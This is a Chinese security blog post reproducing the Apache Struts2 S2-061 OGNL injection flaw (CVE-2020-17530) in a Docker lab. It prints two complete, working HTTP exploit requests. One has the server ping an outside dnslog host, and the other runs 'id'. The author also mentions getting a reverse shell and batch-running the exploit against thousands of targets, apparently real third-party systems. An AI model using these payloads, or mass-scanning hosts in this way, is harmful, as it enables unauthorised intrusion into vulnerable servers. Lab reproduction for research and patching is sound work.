freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

(CVE-2020-17530)Struts2 S2-061 远程命令执行漏洞复现
thelostworld 2020-12-19 22:32:51 184532

最近一直关注Struts2 S2-061漏洞,最近忙今天才有空来复现一下这个漏洞。

Struts2 S2-061 远程命令执行漏洞复现

一、漏洞简介

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。

二、影响版本

Apache Struts 2.0.0 - 2.5.25

三、漏洞复现

docker环境地址:

项目地址:

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

拉去镜像启动环境:

docker-compose up -d

访问目标地址:

http://192.168.1.107:8080/

执行DNSlog验证漏洞:

POST/index.actionHTTP/1.1​Host: 192.168.1.107:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 846​​------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"​​%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping p0fai2.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

DNGlog记录

访问抓包执行exp 命令执行id

POST/index.actionHTTP/1.1Host: 192.168.1.107:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 827​------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"​%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

简单的python脚本验证执行:

也可成功执行反弹shell获取:

批量跑了几千条成功的少:(可能默认的index还有路径不对)后面再研究一下。

四、安全建议

将Apache Struts框架升级至最新版本。

相关链接

https://cwiki.apache.org/confluence/display/WW/S2-061

参考:

https://www.safedog.cn/news.html?id=4667

https://www.cnblogs.com/potatsoSec/p/14111163.html

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

个人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html

个人博客园:https://www.cnblogs.com/thelostworld/

欢迎添加本公众号作者微信交流,添加时备注一下“公众号”

# 黑客 # 数据安全 # 漏洞分析 # 企业安全 # 网络安全技术
本文为 thelostworld 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
thelostworld LV.4
欢迎关注 thelostworld 公众号,专注漏洞复现和java代码审计学习分享。
  • 36 文章数
  • 21 关注者
用友GRP-u8 注入-RCE漏洞复现
2021-06-09
X友 NC 远程命令执行
2021-06-09
XStream远程代码执行(CVE-2021-29505 )
2021-05-25